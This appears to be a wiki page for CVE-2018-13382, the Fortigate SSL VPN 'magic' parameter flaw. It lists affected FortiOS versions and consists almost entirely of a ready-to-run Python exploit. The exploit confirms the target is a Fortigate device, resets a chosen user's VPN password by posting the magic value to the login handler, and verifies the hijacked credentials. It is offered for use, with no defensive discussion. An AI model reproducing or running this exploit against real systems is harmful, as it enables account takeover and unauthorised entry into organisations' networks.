View source for CVE-2018-13382 Fortigate SSL VPN 後門

==後門影響==
Fortinet Fortios 6.2 Fortinet Fortios 6.0.5 Fortinet Fortios 5.6.9 Fortinet Fortios 5.4.11

==POC==
<pre>
import requests, binascii, optparse, sys
from urlparse import urlparse
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
requests.packages.urllib3.disable_warnings()
import multiprocessing
import colored
from user_agent import generate_user_agent, generate_navigator
bold=True
userAgent=generate_user_agent()
username=""
newpassword=""
ip=""
def setColor(message, bold=False, color=None, onColor=None):
    from termcolor import colored, cprint
    retVal = colored(message, color=color, on_color=onColor, attrs=("bold",))
    return retVal
def checkIP(ip):
    try:
        url = "https://"+ip+"/remote/login?lang=en"
        headers = {"User-Agent": userAgent, "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
        r=requests.get(url, headers=headers, verify=False)
        if r.status_code==200 and "<title>Please Login</title>" in r.text:
            return True
        else:
            return False
    except requests.exceptions.ConnectionError as e:
        print e
        return False
def changePassword(ip,username,newpassword):
    url = "https://"+ip+"/remote/logincheck"
    headers = {"User-Agent": userAgent, "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Referer": "https://"+ip+"/remote/login?lang=en", "Pragma": "no-cache", "Cache-Control": "no-store, no-cache, must-revalidate", "If-Modified-Since": "Sat, 1 Jan 2000 00:00:00 GMT", "Content-Type": "text/plain;charset=UTF-8", "Connection": "close"}
    data = {"ajax": "1", "username": username, "realm": '', "credential": newpassword, "magic": "4tinet2095866", "reqid": "0", "credential2": newpassword}
    r=requests.post(url, headers=headers, data=data, verify=False)
    if r.status_code==200 and 'redir=/remote/hostcheck_install' in r.text:
        return True
    else:
        return False
def testLogin(ip,username,newpassword):
    url = "https://"+ip+"/remote/logincheck"
    headers = {"User-Agent": userAgent, "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Referer": "https://"+ip+"/remote/login?lang=en", "Pragma": "no-cache", "Cache-Control": "no-store, no-cache, must-revalidate", "If-Modified-Since": "Sat, 1 Jan 2000 00:00:00 GMT", "Content-Type": "text/plain;charset=UTF-8", "Connection": "close"}
    data = {"ajax": "1", "username": username, "realm": '', "credential": newpassword}
    r=requests.post(url, headers=headers, data=data, verify=False)
    if r.status_code==200 and"redir=/remote/hostcheck_install" in r.text:
            return True
    else:
        return False
parser = optparse.OptionParser()
parser.add_option('-i', action="store", dest="ip", help="e.g. 127.0.0.1:10443")
parser.add_option('-u', action="store", dest="username")
parser.add_option('-p', action="store", dest="password")
options, remainder = parser.parse_args()
if not options.username or not options.password or not options.ip:
    print "[!] Please provide the ip (-i), username (-u) and password (-p)"
    sys.exit()
if options.username:
    username=options.username
if options.password:
    newpassword=options.password
if options.ip:
    ip=options.ip
tmpStatus=checkIP(ip)
if tmpStatus==True:
    print "[*] Checking if target is a Fortigate device "+setColor(" [OK]", bold, color="green")
    if changePassword(ip,username,newpassword)==True:
        print "[*] Using the magic keyword to change password for: ["+username+"]"+setColor(" [OK]", bold, color="green")   
        if testLogin(ip,username,newpassword)==True:
            print "[*] Testing new credentials ["+username+"|"+newpassword+"] "+setColor(" [OK]", bold, color="green")
            print "************** Enjoy your new credentials **************"
        else:
            print "[*] Testing new credentials ["+username+"|"+newpassword+"] "+setColor(" [NOK]", bold, color="red")
    else:
        print "[*] Using the magic keyword to change password for: ["+username+"]"+setColor(" [NOK]", bold, color="red")            
else:
    print "[*] Checking if target is a Fortigate device "+setColor(" [NOK]", bold, color="red")
</pre>